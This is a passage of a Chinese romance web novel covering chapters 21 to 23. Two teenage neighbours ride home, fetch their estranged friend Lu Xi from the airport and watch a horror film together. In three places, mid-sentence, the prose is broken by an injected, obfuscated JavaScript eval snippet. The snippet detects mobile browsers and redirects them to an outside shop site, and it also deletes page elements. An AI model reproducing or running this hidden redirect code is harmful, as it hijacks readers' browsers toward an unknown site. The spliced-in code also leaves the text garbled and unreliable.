马路上汽车的鸣笛声忽然紧促,让陈真回过神,站得太久腿都酸了,她干脆蹲下来。 公交车站正对着南川高中的教学楼,这个角度刚好能看到一整栋楼。 一楼到五楼的距离,好遥远。 看了看站牌,车还是没来。 陈真垂下脑袋,把耳机的音量调大,然后闭上眼睛专心听英文演讲。 英文单词一个个蹦进脑海里,大部分都很熟悉,但组成一个句子就听不懂了。 越听越烦躁。 耳边突然传来吱呀的刹车声。 英语句子还在耳边不断流淌,陈真闭着眼睛,隐约听见有人在叫她的名字。 睁开眼睛,天边的晚霞已经散去,黄昏落幕。 没等来公交车,等来一辆电动车。 周清越骑着小电驴停在陈真面前,他戴着头盔,单手搭在把手上,长腿撑在地上,身上穿的还是蓝色的校服。 他朝蹲着的陈真昂了昂下巴:“一起回家。” “谁要和你一起回家。” 陈真怼道,听不懂的英文演讲让她心情不太好。 “你要和我一起回家。”周清越理直气壮地接着她的话回道。 陈真蹲着看了他一会儿。 “我没头盔。”她说。 周清越腿一跨,从车上下来,拍了拍坐垫:“这有啊。” 陈真一副勉为其难的神情站起来,走到他旁边。 周清越打开车坐垫,从车箱里拿出一个头盔。 “耳机。”他看着她说。 陈真后知后觉地抬手摘下两只耳机。 看着她把耳机放进书包,周清越才将右手提着的头盔拿起来,两手拿着把头盔罩上她的脑袋。 “笨死了。”他一边戴一边说。 陈真抬起头,气呼呼质问:“你骂谁呢?” 周清越看了她一眼,没有回答,专心地低着头给她系头盔绑带。 “抬头。”周清越说。 陈真梗着脖子,望向一边,假装听不见他的话。 她又不是小狗,他说抬头就抬头? 想得美,就不抬就不抬就不抬。 他能拿她怎么样? 正这么想着,下巴突然传来温热的触感,不轻不重的力度将她的头轻轻往上勾。 一抬头,正好对上周清越的眼睛。 陈真愣了一下。 “没系好,别乱动。”周清越的手在她的下巴处绑着带子。 保持着这个姿势,陈真感觉浑身不适,但又说不出为什么。 于是只能眼神瞥向别的地方。 周清越将系带穿进卡扣,拉了拉调节松紧,最后固定好。 “行了。” 他伸手左右按了按头盔,确定没有松,然后转身跨上车。 等陈真坐上小电驴的后座,周清越问她:“坐稳了吗?” “坐稳了。” “那我们回家了。” * 坐在小电驴的后座是一种很独特的体验。 风从四面八方吹过来,吹过眼睛,吹过头发,吹过校服,风里还会带着周边街上的味道和声音,烧烤味,火锅味,水果摊的叫卖声,通通融化在风里。 这和坐公交车和骑单车的感觉都不一样。 坐在公交车上也能感受到风,闻到街上的味道,但总是有一阵距离感,隔着一层玻璃窗户,不太真切,像是这个世界的旁观者。 骑单车没什么缺点,就是要自己蹬,太累。 还是坐小电驴舒服。 就是,位置有点挤。 开到一个转弯路口,有一个很大的广告牌挡住了视线,有部分盲区。 周清越正常右拐弯,结果突然窜出来一辆逆行的自行车,猛然出现在视野里,让人始料未及。 还好他反应快,立刻控制车头朝左。 事发突然,车速也不低。 惯性的失重感让陈真下意识环住了周清越的腰。 这么一环,不小心触碰到他的腰腹,突然发现,手感出乎意料的不错。 忍不住趁乱又摸了两把。 好不容易稳住车头,刚想回头跟那个突然出现的单车主理论,周清越就感觉自己的腰上不对劲。 周清越低头看陈真动来动去的手。 “你在干嘛。” 陈真立马收回手。 糟糕,从小吃他豆腐吃习惯了,刚刚一下没忍住。 清汤大老爷在上,她发誓她真的不是故意的! “我…我检查你有没有受伤啊,刚刚多危险啊对不对。” “是吗?”周清越忍不住气笑,侧头看着她问,“那你要不要把我全身都检查一遍?” “这不太好吧。” 顿了一下,陈真歪着头试探着说:“当然,如果你同意的话……” 也不是不行。 周清越半晌没出声。 谢白说的对,她就是想占他便宜,但不想对他负责。 他又忍不住想,如果没有林斯言的存在,他真的可以幻想一下她也喜欢他吧。 可是没有如果,今天她藏起来的信,应该就是给林斯言写的情书。 如果陈真把情书送给林斯言了,林斯言也答应她了。 他就彻底没机会了。 林斯言这狗东西真幸运,是她喜欢的人。 而他,目前还是一个静静躺在她微信黑名单的人。 烦死了。 陈真等了半天。 周清越却好像突然哑了,一句话也不说,开着小电驴跟头牛似的在马路上一个劲儿冲。 陈真觉得他是生气了。 因为她吃了他豆腐,他看起来很不爽,路上路过一条狗,陈真都怕周清越要下车踹它两脚。 啧啧啧,气成这样,算了算了,以后不占他便宜就是了。 骑到小区的时候,天已经彻底黑了,月亮挂在树梢,静悄悄的。 到了单元门楼下,周清越把小电驴停住,然后给车上锁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562534|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈真站在一旁等他,没多想,她脱口而出:“周清越,你是不是生气了?” …… “你怎么总生气啊。” …… “我保证,我以后不吃你豆腐了行不行。” 终于有了回应,周清越套好锁,站起身压迫感满满地向走近陈真。 “我有说不让你吃吗?”他说。 说完这句话,周清越背上包就走进单元门。 留下还没反应过来的陈真:“……啊?” 楼道漆黑,因为是声控灯,一没有声音就会陷入黑暗之中。 没办法,陈真只能一步一蹬,又蹦又跳,嘴也没闲着,一路嚯嚯哈嘿走上去。 面对陈真的常规操作,旁边的周清越处变不惊:“我下周一要作国旗下的讲话。” 陈真站在他上面两个台阶,颇为不解地蹙眉问:“怎么又是你,你上次不是刚讲过吗?” 她记得那次周清越淋着雨讲了半个小时,然后还发了好几天的低烧来着。 “那次是开学典礼作为学生代表讲话,这次我是作为班级代表去作国旗下讲话。” “听不懂,你闭嘴吧。”预感到他接下来要说什么,陈真双手捂住耳朵。 “听不懂就算了,反正你得帮我写稿子。”周清越仰着头喝汽水,一副云淡风轻的语气。 陈真放下手:“不是,凭什么呀?” 不知道从什么时候开始,周清越因为代表讲话的次数太多,稿子都写不过来,就开始拉着陈真帮他写,每次他在台上风光无限,她什么好处都没捞着。 “我下个月要参加一个省级竞赛,拿了奖金都给你,就凭这个行不行?” “你就这么有自信能拿奖?” 省级竞赛,多少大佬云集的比赛,他怎么好像已经确定奖金属于自己了。 因为一瞬间的沉默,楼道的声控灯瞬间熄灭,两人眼前漆黑一片。 咔咔两声。 是铝皮的汽水罐头被挤捏的声音。 灯应声亮起。 眼前忽然明亮。 周清越手里拿着捏扁的汽水罐子:“不管你信不信——” 随着一个优美的抛物线,罐子被他丢进楼道的垃圾桶里。 “反正第一是我的。” 他走到她前面,自信到有些欠揍地回过头:“你等着拿钱就行。” 在心里认真盘算了一下奖金能有多少,陈真非常满意这个报酬,于是欣然接受:“稿子主题是什么?” “这次讲话有两个主题,你帮我写其中一个就行。” “其中一个主题是好好学习,这个我来写就行。” “另一个主题——” 不知道是不是错觉,陈真觉得周清越特意盯着她说的。 “严、打、早、恋。” “像什么送早餐,递情书这些全部都算。” “尤其是送情书,最容易人赃并获。” “你要是给什么人写了情书,好自为之。” 陈真觉得莫名其妙:“我怎么可能写情书?!” “写了也别送出去。” 陈真小声嘀咕:“这不是还没来得及送出去么……” 这信到底送还是不送啊,周清越明明看见那封信了,他脑袋瓜子那么聪明,肯定知道那是一封情书,现在明知故问,估计是在敲打她,让她不要再帮别人给他送信。 早知道周清越态度这么坚决,这事这么难办,她就不答应那两个女生了。 真是让人头疼。 “对了,还有一件事要跟你说。” 周清越说。 陈真心不在焉,随口问:“什么事? “路希回国了。”周清越从包里拿出钥匙,十分随意地说。 21. 二十一颗星星 陈真停下脚步。 “你说什么?” 消息来得太突然,让她始料未及。 周清越还在一步步走上楼,手里拿着钥匙,勾在指尖吊儿郎当地转着,楼道里是叮叮当当的金属碰撞声。 “没听清?”他的背影随着脚步不断往上,走到一半停下来,转身,“我说,路希回国了。” 他双手抱在胸前,懒怠恣意地歪靠在扶手栏杆旁:“怎么不说话。” 深吸一口气,轻轻吐出来,陈真垂着脑袋:“没什么好说的。” “到底怎么了?”周清越问。 陈真许久没说话。 周清越等着她的回答,楼道的灯又烦人地黑了下去。 周遭静悄悄的,只留下夜蝉的鸣叫。 “什么时候的事?”陈真的声音在一片黑暗之中穿透过来。 “就今天。”周清越用手指敲了敲扶手,灯才重新亮起来,“她跟我打了个电话,说明天的飞机,国内时间应该是明天晚上九点左右到达南川。” 陈真拿起手机,点开通话记录,除了挂掉的两个推销电话,就没有其他的来电了,翻了又翻,没有。 不甘心地点开其他聊天软件,微信、q.q、短信,从头翻到尾,从今天翻到上个星期的记录,都没有。她还去点开了拦截信息箱,心里想着会不会是手机把她的短信拦截了,所以自己没看到。 但是都没有。 路希没联系过她。 静了几秒,陈真摁灭了手机放进口袋,抬起脚一言不发走上楼。 周清越:“那明天几点去接路希?” 陈真:“我不去,不用问我。” 周清越跨了一步,挡在她面前,堵住了去路,微微俯身,语气带着幸灾乐祸的戏谑:“你最亲爱的路希回来了,反而不高兴?” 陈真不理他,打算绕过他从旁边走。 他又抱胸轻巧地挪了一步,把她堵住。 陈真抬起头,对上他的眼睛。睫毛长而密,嘴角上扬,眼眸微弯含着春水,乌黑透亮。 很好看的一双桃花眼。 前提是眼神没那么欠揍的话。 “你要干嘛?”陈真问他。 “没干嘛啊。”他无辜得很,弯着腰看她,“就想知道你干嘛不高兴。” 陈真的目光在他身上打量,宽肩窄腰大长腿,穿着有点宽松的校服,领子别得认真整齐,但依稀看得到锁骨的形状。 忽然又想起刚刚的触感。 陈真的心突然顿了一下,别过脸去。 嘴上还威胁着:“再不让开,小心……” 他嘴角勾起,歪歪脑袋,一脸明知故问:“小心什么?” 像是有了些底气,陈真回过头,故意将眼神在在身上游走,尽力扮演一个流氓。 “小心我占你便宜哦。”她还加了一个挥拳头的动作。 听完她的话,周清越戏谑的眼神收敛了些,然后突然笑了。 “陈真。” 语调带着笑意,周清越懒洋洋往下走了一阶台阶,原本的安全距离瞬间拉小,他一脸好笑地看着她,“你还当我七岁啊。” 心跳莫名不受控制地加快。 不是…这个,已经威胁不了他了吗? 陈真被他堵得一时语塞。 “而且我没说不让你占啊。”周清越挑了挑眉,“我倒是很好奇,你想怎么占我便宜?” 像小时候那样,对他说,周清越我真的很好奇,你就让我摸摸你的喉结呗,求求你了? 或者突然跑到他家,说自己大冒险输了,要数他的睫毛,他把眼睛闭上让她数,她却乘机捏了一把他的脸,然后脚踩风火轮似的逃之夭夭。 又或者她惹他生气了,他在气愤填膺地诉说自己的委屈,她忽然伸手,放到他的后颈处,然后一脸无辜地说这是在书上看到的,安抚狗狗要摸摸它的后脖颈。 …… 他是真的挺好奇,她还能怎么占他便宜。 陈真觉得不对劲,非常非常不对劲。 她感觉周清越变了,而且是在她眼皮子底下潜移默化地变了。 这种变化在拉长的时间线里显得很不明显,等她反应过来的时候,才发现是这么大的改变。 她开始正视眼前的人。 他长得很高,比她高大半个头,脸部轮廓越发清晰,骨骼感占据上风,最重要的是,他的气质不知道从什么时候开始越发成熟,这是一种介于少年与男人之间的感觉,显山露水的骄矜中又多了一分稳重的威压感。 “我这么好看?还要看多久?” 突然被点名,陈真感觉不好意思,想趁周清越没注意,从旁边跑走。 结果又被他拦住。 这个人、反应能力、怎么、这么快!? “你什么意思周清越?”陈真十分不爽。 “你先回答我的问题。” “不回答。” “不回答?”周清越背往后一靠,那样子要多无赖有多无赖,“那我就跟你在这耗着。” 陈真被他气到:“你流氓啊?” 他懒懒地抬抬眼眸:“从小都是你对我耍流氓,现在换我耍耍怎么了?” “……” 好像很有道理的样子。 她竟无法反驳。 想了想,陈真低着头小声说:“我和她吵架了。” 周清越不知道陈真和路希之间发生了什么,但之前她们两个就经常两天一小吵三天一大闹的,已经习惯了,所以觉得没什么,挺正常的。但是之前都是小打小闹,常常当天吵完当天就和好了。 这次路希回国这么大的事居然没跟陈真说,而且陈真居然连接机都不去。看来这两人是真的发生了什么他不知道的大事。 “因为什么?” 好像陷入回忆,陈真的神情黯淡下去,语气也有气无力:“没什么,你别问了。” “真没事?” “嗯。” “确定?” “嗯。” “那行,明天一起接机。”周清越一锤定音。 “嗯……呃?!” 陈真猛的抬起头,满脸的茫然。 “你刚刚自己同意的。”周清越一身轻松上楼梯。 陈真:“我同意了吗?” 周清越:“同意了啊。” “……” “我都跟她约好了,明天给她接机,然后我们一起去KTV唱唱歌,怎么样?” 他和她都约好了,都定好了,都交流好了。 那还问她干什么。 陈真加快脚步,超过了周清越,路过他旁边的时候,还故意撞了他一下,然后没事人一样接着小跑着上楼。 猝不及防被她用肩膀撞了一下,周清越不解地抬头,看着那个一溜烟跑得跟兔子似的身影,无奈叹气。 他哪里又惹她了了? * 一鼓作气跑到六楼家里,关上门,陈真背靠着大门喘着气。 爸妈应该在房间里,客厅没人,她也没开灯,就一个人静静地靠在门上。 呼吸渐渐平稳,她从愣神中回过神,然后从口袋里拿出手机,把通话记录、短信记录又翻了一遍。 她觉得是自己看漏了,在看一遍应该就能看到路希的消息。 通话记录还是只有那两个推销电话,短信也没有消息。 拿着手机的手和眼眸一起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562535|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无力地垂下。 路希回国,真的没有告诉她。 一股酸意涌上心头。 客厅的灯却突然亮了,抬头一看,是爸爸。 “今天怎么回来这么晚,到家了也不说一声也不开灯,老爸给你做的饭还在微波炉里热着,我给你拿出来嗷,是你爱吃的土豆炖排骨,还有清炒小白菜……” “你妈今天加班,她带的不是高三毕业班嘛,最近忙。来,真真,好不容易回家吃饭,来看看老爸的厨艺有没有渐长……” “爸,我不饿,晚点再吃。” “怎么了?” “你先吃嘛,我等会出来吃。” 陈真回到房间,把书包挂好,然后坐在书桌前,打开台灯,撑着下巴发呆。 她心里有股气没处发泄,憋得她心里难受。 这是她和路希认识的第多少年了?有点记不清了,反正好像从她有记忆起,她们就认识了。 爸妈没离婚之前,她在南川隔壁的城市——长定市生活,那时候她就认识路希了,听妈妈说,她们小时候在一个幼儿园就总是打架,谁也不服谁。 后来六岁那年妈妈认识了张嘉泽的爸爸,她就跟妈妈来了南川市,小时候觉得这个世界太大了,离开长定,她就再也见不到路希了。 可是她又遇见了她,虽然不在一个小学,但在一个午托班,两人重逢的第一面,是从互相的白眼开始的。 她们谁也不待见谁,却一路纠缠到长大,居然也慢慢从冤家对头成头成了知无不言言无不尽的好朋友。 她以为她们会一直这样下去,你陪着我,我陪着你,可命运总是有新想法。陈真就算想了一万个理由,也没想到路希初三那年家里拆迁暴富了,路希一跃成为富二代,她从小盼到大的留学梦,就这么被命运呈到了她面前。 路希小时候就想出国,因为她有个表姐在国外,总说国外多么多么好,于是给她扎下了一个出国看看的梦想,为这梦想,她还给自己起了一个英文名——Lucy,言简意赅,人如其名。 之前她和陈真躺在床上做梦的时候,想的都是以后工作慢慢赚钱,然后出国旅游,万万没想到,命运擅长给人惊喜。 于是初三那年,路希选好了自己要留学的地方——澳大利亚的墨尔本。本来可以早点过去的,但她执意等陈真和周清越中考完,说要他们两个给她办个轰轰烈烈的欢送仪式。 那次聚会确实挺轰轰烈烈的,她和陈真轰轰烈烈的吵了一架,她们俩轰轰烈烈的闹掰了。 只不过这事周清越不知情,她们两个都十分默契地没有告诉他。 毕竟吵架这事真要算起来,是因周清越而起。 长呼了一口气,陈真起身靠在背椅上。 她思考了一会儿,打开抽屉,拿出一个本子放在台灯下。 其实和路希吵完的第二天她就后悔了。 但是因为赌气,她没去机场送她。 然后她就后悔到现在。 那个本子是澳大利亚的签证。 之前林斯言他们问她为什么整个暑假都不出去跟他们玩,她说她忙。 她在忙着办签证。 她想去墨尔本看路希。 现在签证下来了,路希却回来了。 而且她忽然意识到一个问题,她想见路希,路希想见她吗? 路希这次回国,告诉了周清越,却没有告诉她,他们甚至都商量好了接机时间,还有去哪里玩。 可路希唯独没有想到给她打个电话。 她把签证合上,重新放回了抽屉里。 桌子上还摆着两人在动物园玩的时候拍的合照,陈真拿起来,看了一下。 然后倒扣在桌上。 22. 二十二颗星 周六一整天,陈真都没闲下来。 白天吃完早餐,她把老师布置的三套卷子写完,抽空多写了一张英语试卷,然后像往常一样,去市中心谷安街的艺术中心上长笛课。 晚上七点。 精疲力尽地回到家,陈真发现小区楼下有一辆黑车停在马路边。 她随便瞥了一眼,正准备上楼,但看到一个熟悉的身影从车上下来。 天幕渐黑,道路两旁的路灯散发着温暖的黄光。 周清越穿了一身黑,脖子上戴了根项链,背上背着硕大的大提琴背包,黑色的鸭舌帽压得低低的,整个人像是要隐入夜幕里。 他关上车门,准备上楼。 一抬眼,四目相对。 陈真:“刚下课啊?” “嗯。” “我也刚下课。” “……好巧。” 沉默。 周清越回头,看了她一眼。 眼神像是在说“哇塞难道我们是第一次见面?这么不熟”。 陈真跟在他身后走,她也不知道自己怎么想的,净说些废话。 一起上楼的途中,陈真忍不住好奇心,朝他问道:“那是你爸的车?” 今天去老师家讨论了一整天的竞赛策略,为下个月的数竞做准备,然后晚饭都没吃又赶去上大提琴课,一直到刚刚才有时间喘口气,周清越实在累得有些头疼。 但还是仔细思考了一下,认真回答她的问题:“可能是我爸的,也可能是秘书自己的车。” 他真的不知道。 他爸的车实在是太多了。 陈真问这个问题,主要是想知道是不是他爸送他回来的,可是看这样子,应该不是。 她耸耸肩:“噢。” 各自回到家里,陈真放下包和长笛,穿好拖鞋走进房间,今天爸妈都不在家,她只开了房间的灯,然后打开抽屉,拿出一个亚麻色的礼品袋。 她仔细确认了一遍,都装好了。 桌上的手机亮了一下。 看尾号是周清越发来的短信。 xxxx2360:【我先洗个澡,然后再去机场。】 陈真:【ok】 关掉屏幕,陈真也准备去浴室洗澡。 忽然手机又亮了。 2360:【什么时候把我从黑名单放出来?】 晚上七点半,陈真洗完澡,拿上给路希的礼物下到楼下。 周清越百无聊赖地靠在车边,闭着眼睛,看起来很累,可能是听到脚步声,他睁开眼睛。 “这么累?”陈真难得关心他一下。 周清越哑着嗓子开车门:“还好。” 车上坐着一个看起来挺年轻的男人,看着三十出头,还穿着西装。 应该是周清越他爸的秘书,陈真之前还见过几次。 “清越,你们去机场那个口?”张南系好安全带,转头问道。 周清越:“西口。” 张南:“行。” 周清越:“谢了南哥。” 张南笑了笑:“谢我干嘛呀,是柏总知道你今天要接朋友,特地安排我来的。” 言下之意,你该谢谢柏总,谢谢你爸。 周清越却没说话。 一个微信视频电话打破了车内的安静。 陈真看了一眼来电人,有些意外。 想到在车里,陈真转头跟周清越说明了一下:“我接个电话。” 然后点了接通。 “哈喽,林斯言。” “喂,陈真?” “我在。” 林斯言:“你那边好黑。” 陈真:“我在车里。” 视频里林斯言应该是坐在书桌前,手里拿着笔,专注地看着桌上的题:“我想了一下,你问我的那道题还是直接跟你打视频说比较好。” 陈真:“好。” 林斯言:“我把镜头转一下,在草稿纸上演算给你看。” 陈真专心地看着对面林斯言写的草稿,他一边算一边讲。 尽管手机音量已经调得很小,但声音从手机传到车里,还是格外清楚。 “……大致思路是这样,但是,这个地方我也没搞懂。”他拿笔圈出一串数字和字母,“我觉得这题有点超纲,不是高中水平能做的……” “送B一个元素0,设B中元素非负。”周清越的声音突然传来。 陈真迟疑地转头看他。 周清越双手抱胸,背靠着车椅,眼睛都没睁开,一副闭目养神的样子。 手机对面静默了一下。 过了一会儿才传来林斯言的声音:“嗯,这个思路是对的。” 陈真也低着头思考,觉得周清越一句话就把堵住的地方打通了,这道题顿时豁然开朗。 顿了一会儿,对面的声音放低:“周清越也在?” 陈真应道:“嗯。” “我不在。”周清越欠欠地张口说,“我死了。” 陈真:“?” 车上三个人都一言不发,包括电话那头的林斯言。 氛围有些莫名的奇怪,陈真开口:“林斯言,我这边有个人挂了,我先挂了。” 绕口的句子在脑子里走了一圈,林斯言反应过来她的意思,忍不住笑了:“那我也挂吧,咱仨一起挂。” 林斯言撑着下巴,浅浅地笑着,他看起来也刚洗完澡,穿着灰色的睡衣,头上还戴着发带。 “拜拜。” 挂了电话,陈真回过头,忍不住问周清越:“那道题对你来说是不是很简单?” “嗯。”周清越闭着眼睛,头懒洋洋地靠在窗边,低低地应了声。 “那林斯言居然不会。”陈真顺嘴把心里的想法说了出来,在她看来,林斯言和周清越的数学水平是差不多的,两人之前还一起组队代表学校参加过市级竞赛。 所以周清越说这题对他简单,却卡住了林斯言,还挺意外的。 “反正,”周清越不知道什么时间睁开了眼睛,正侧头看着车窗外飞驰而过的夜景,“在你心里,他永远比我好。” 也永远比他重要。 滞了一下,陈真不解问道:“我什么时候说了?” 他忽然凑近她,檀木乌龙的味道轻轻浅浅散发着:“那我是摆设吗?问我啊。” 他一个大活人就在她旁边,偏偏要舍近求远去问林斯言。 “还有,为什么把他从黑名单放出来,就不放我?” 他是做了什么罪大恶极的事情吗?明明是那个林斯言的错,一切都因他而起,不可饶恕的人是林斯言。 明明知道答案,但还是想挺她说。 过了好一会儿,陈真突然语气诚恳地开口:“周清越。” 难得她这么认真地叫他,周清越忽然心上扬了一些。他郑重地将目光放在她身上,等着她的回答。 结果她璨然绽开一个笑:“你身上好香。” …… …… …… 一时间失语,静静盯了她几秒,周清越重新转向窗外,一言不发地按下了车窗,有些燥热的晚风吹了进来。 陈真又问:“你开窗干嘛?好热。” 他只留给她一个后脑勺:“降降血压。” * 从车上下来,走进偌大的机场,陈真没来由地有些紧张,也不知道是因为小时候的阴影导致又犯病了,还是,因为要见到路希。 距离上次聚会吵架,已经过去了两个多月,这期间她们谁也没主动联系对方。 陈真走得慢吞吞,周清越跟在她身后,准备到接机口到时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13580097|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,陈真突然停下了,转身把礼物袋递给周清越:“你去接她吧,我在这等你们。” 周清越也停下脚步,眉头微不可闻的蹙了一下。 “你们到底因为什么吵架。” 吵架的导火索确实是周清越,但其实不是他的错,他甚至毫不知情,说出来只会影响他和路希的关系。 所以陈真没回答。 前面突然多了很多人,刷完卡从闸机口鱼贯而出,一个个拖着行李箱,行色匆匆。 “这事不重要。”陈真把礼物袋放到他手里,“人出来了。” 周清越朝她脸上看了一眼,然后抬脚往前走,顺手把礼物袋塞回她怀里:“知道了。” 抱着袋子,陈真独自一人站在离闸机口有一段距离的地方,控制自己的目光不看向那边。 直到远处传来熟悉的声音:“周清越!” 昂扬、热情、欢喜的语调。 陈真侧头看过去。 她染了一头浅金的头发,在灯光下浅浅发光,身上穿着露脐短背心,搭宽松牛仔裤,手上还拖着一个贴满玫粉色行李箱,上面贴满了迪士尼卡通贴纸。 行李箱的轮子和地板摩擦骨碌碌响, 周清越和她打了个招呼,路希忽然放下行李箱,朝周清越拥抱过去。 没想到周清越动作比她还快,他后退了一步,让她抱了个空,然后极其自然地拉过她的行李箱,朝陈真的方向走去。 “走吧。” 陈真看见周清越朝她这边扬了扬下巴,然后路希就看了过来。 行李箱的轮子和地板摩擦骨碌碌响,声音越来越近,陈真看着路希,路希也看着她。 两人都死死盯着对方。 走到她旁边的时候,路希直接从她手里抽走了礼物袋,自然而顺滑:“谢了。” 陈真丝毫不跟她讲客气,直接从她手里拿回来:“我有说这是给你的了?” 路希抢回去:“不给我你还想给谁?” 陈真又抢回来:“随便谁,就是不给你。” 气得长呼一口气,路希又抢过去:“管你给谁的,到我手上就是我的!” 陈真也是个犟种,非要跟她抢。 周清越在一旁,看着两人在机场为一个本就要送出去的礼物争夺了起来。还有比这更莫名其妙的事情吗?但发生在她们两个身上,也说得过去。 实在看不下去,他伸手拿过那个礼物袋:“我保管行不行,两位姑奶奶?” 听见周清越的声音,路希松了手,陈真却不。 路希顿时又气不打一处来,看着陈真,气得要跺脚:“周清越都说他拿着了,你还想怎么样?” 听完她的话,陈真更气了:“你就会听他的!” “他有理我听他的怎么了?” “他没理你不也听他的?” 陈真越说越来气,将袋子往周清越怀里一推。 这一推,三个人反倒安静了下来,周围人来人往,他们三个就静静站着。 “吵完了?”周清越戴着黑色棒球帽,脖颈的项链反着光,带着点神秘,他双手抱胸,看着两个人,语调平静,“等都冷静了再说话。” 无声的寂静在三人直接凝固。 陈真察觉到一丝微妙的不同,换做之前她们吵架,他大部分时候都是手足无措地劝和,有时候还会劝到微微崩溃,这次却处变不惊,控制场面。 是从什么时候开始呢?他好像越来越成熟了。 “要我说KTV就不去了,要是到那里你们吵急眼了,拿着话筒吵,我的耳朵可受不了。” 他一手拖着行李箱,一手提着礼物袋。 两手空空间,陈真突然发现她和路希的东西都到了他的手上。 他迈着长腿往前走,闲散地提议道:“去我家吧。” 23. 二十三颗星 啪嗒—— 周清越按下客厅的灯,整个房子霎时亮起来。 晚上如果住到他家会觉得很温暖,因为不管是客厅、卧室、厨房还是卫生间,全部都是暖光灯,就连装修布置整体都是暖色调。 他家之前就是普通的装修,灯是白炽灯,地板是冷灰色,因为耐脏。现在的改装是周清越的意思,毕竟这房子平时就他一个人住,他提出要改,他爸妈也没反对,于是就有了现在的样子。 周清越把行李箱拖到一旁,然后给她们俩找拖鞋。 “今儿晚上玩什么?”周清越问。 路希摸着额头:“我现在倒时差,头还晕得很,玩不了游戏。” 陈真拿起茶几上的遥控器,点开电视:“那看鬼片吧。” 路希立马叫嚷道:“陈真你存心想吓死我是吧?我都说我头晕了!头晕懂不懂?” “哦。”跟没听见一样,陈真整个人懒洋洋躺进沙发里,“你爱看不看。” 路希:“……” “我知道你胆子小,害怕嘛,我理解,看个不那么恐怖的吧。” “你说我胆子小?”一脸的不服气,路希一屁股坐上沙发,翘起二郎腿,伸手指着电视机,恶狠狠地放话,“放!挑最恐怖的放!我害怕?搞笑!” 陈真没忍住,勾唇笑了,顺手点进一个光是看封面就很吓人的电影。 电影的片头刚开始放,路希就已经面露难色,不自觉地放下二郎腿,整个人朝后靠,哪还有一点刚才喊话的嚣张劲。 看着路希的样子,陈真得了便宜还卖乖地欠欠道:“待会某个人不要被吓到尖叫哦。” 路希赶紧坐直,跟她对着干:“呵呵,谁先叫还不一定呢。” 陈真拿起遥控器,把音量又调高了一些。 路希顿时被电影里的音效惊得差点弹射起飞。 路希:“陈真我恨你!” 陈真:“哇,那真是三生有幸。” 路希:“……” 周清越拿了三罐汽水,每个人一瓶,他抬眼看见电视在放恐怖片,调侃道:“你俩胆子挺大啊。” “这是路希点名要看的。”陈真张嘴就胡说八道。 一旁正瑟瑟发抖的路希简直是哑巴吃黄连,有苦说不出,为了自己的面子咬牙嘴硬道:“对啊,这玩意儿有啥好怕的,洒洒水罢了。” 放好汽水,周清越也顺势在陈真身旁坐下来。 三人坐在沙发上,客厅的灯关了,只有面前电视机的光亮照在他们脸上,一闪一闪,忽明忽暗。 只不过三人的神情大相径庭,陈真和周清越面色平静得像是在看一个凌晨档的无聊肥皂剧,陈真时不时拿起汽水喝一口,周清越靠在沙发上,眼眸微垂,似乎下一秒就要合上了。 只有一旁的路希咬着手,看得聚精会神,连口水都没喝,一会儿捂脸,一会儿捂眼睛,要不是刚刚和陈真赌气不能叫出声,她早就要叫八百回了。 夜色寂静,只有电影在播放不停。 窗外是夜蝉不高不低又富有节奏感的鸣叫。 “啊啊啊啊啊——” 一声尖叫划破夜的宁静,让昏昏欲睡的陈真和周清越都从半梦半醒间惊醒。 陈真还没反应过来,就被旁边尖叫的路希一把抱住,然后随着惯性被扑倒。 陈真的下巴直直磕到周清越的肩膀上。 她疼得不行,扶着下巴倒吸一口凉气。 肩膀传来突如其来的刺痛让周清越睁开眼,陈真正吃痛,龇牙咧嘴的抬眼就和他对上了视线。 他撩起眼皮,鸦羽般浓密的睫毛盖在眼眸之上,周围昏暗,电影的光线在他脸上忽闪,衬着他的眼神越发晦暗不明。 周围静得落针可闻,隐约听见他的心跳,一下一下,在耳边跳动。 从斜下方看着他,睫毛、眼脸、鼻尖,她的心跟着跳动,不断加快,加快。 一种微妙的情绪爬上心头,好像一根羽毛轻轻扫过。 好奇怪,换做之前她肯定会趁这个机会调戏一下他,可是现在居然会觉得有些不好意思。 不对劲,太不对劲了。 陈真扶着下巴别开脸。 却忘了还趴在自己身上的路希。 她整张脸埋进陈真怀里,刚刚的突脸画面真的把她吓着了,后脊背现在都发凉,她抱着陈真许久,才渐渐缓过来。 “你耳朵好红啊。”路希一抬头就开口道。 一听此话,陈真赶忙双手盖住耳朵,一副专心致志的样子看面前的电视机,语调平直。 “太闷了。” 没人回应。 她抿了抿唇,心虚地咽了一下口水,左右看了一下:“你们不觉得吗?” 没人回应。 “哇塞,”陈真开始用手扇风,“这天气真的太热了,没开空调吗?” 